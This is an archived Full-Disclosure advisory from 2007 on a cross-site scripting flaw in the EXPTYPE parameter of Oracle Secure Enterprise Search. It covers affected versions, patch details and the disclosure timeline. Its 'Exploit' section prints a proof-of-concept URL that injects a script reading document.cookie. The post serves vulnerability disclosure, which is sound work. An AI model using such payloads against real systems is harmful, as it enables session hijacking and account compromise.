full-disclosure - Advisory: Cross-Site-Scripting Vulnerability in Oracle Secure Enterprise Search [SES01]

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <512C7E61-C44C-4923-9B22-A6E0927CC3EE@red-database-security.com>
Date: Wed, 18 Apr 2007 12:27:02 +0200
From: Alexander Kornbrust <ak@...-database-security.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Advisory: Cross-Site-Scripting Vulnerability in
	Oracle Secure Enterprise Search [SES01]

Name 	        Cross-Site-Scripting Vulnerability in Oracle Secure  
Enterprise Search
Systems Affected 	Oracle Secure Enterprise Search 10.1.6- SES
Severity         Medium Risk
Category 	Cross Site Scripting (XSS/CSS)
Vendor URL 	http://www.oracle.com/
Author 	        Alexander Kornbrust (ak at red-database-security.com)

Date 	17 April 2007 (V 1.00)

Details
#######
Oracle Secure Enterprise Search 10g, a standalone product from  
Oracle, enables
a secure, high quality, easy-to-use search across all enterprise  
information
assets.

The parameter EXPTYPE in boundary_rules.jsp contains a cross site  
scripting
vulnerability.

This advisory is available at
<http://www.red-database-security.com/advisory/oracle_css_ses.html>

Exploit
#######
<http://ses10106:7777/search/admin/sources/boundary_rules.jsp? 
event=deleteIncludeRule&p_src=web&p_mode=edit&p_id=3&pattern=rds&expType 
=%3Cscript%3Ealert(document.cookie)%3C/script%3ECC_SIMPLE_INCLUSION'>

Affected Products
#################
Oracle Enterprise Search <10.1.8

Patch Information
#################
Please upgrade to the latest version of SES or apply CPU April 2007.

History
#######
05-Apr-2005 Oracle secalert was informed
06-Apr-2005 Bug confirmed
17-apr-2007 Oracle published CPU April 2007
17-apr-2007 Red-Database-Security published this advisory

Additional Information
######################
An analysis of the Oracle CPU April 2007 is available here
<http://www.red-database-security.com/advisory/oracle_cpu_apr_2007.html>

This document will be updated during the next few days and weeks with  
the
latest information.

(c) 2007 by Red-Database-Security GmbH
--
http://www.red-database-security.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/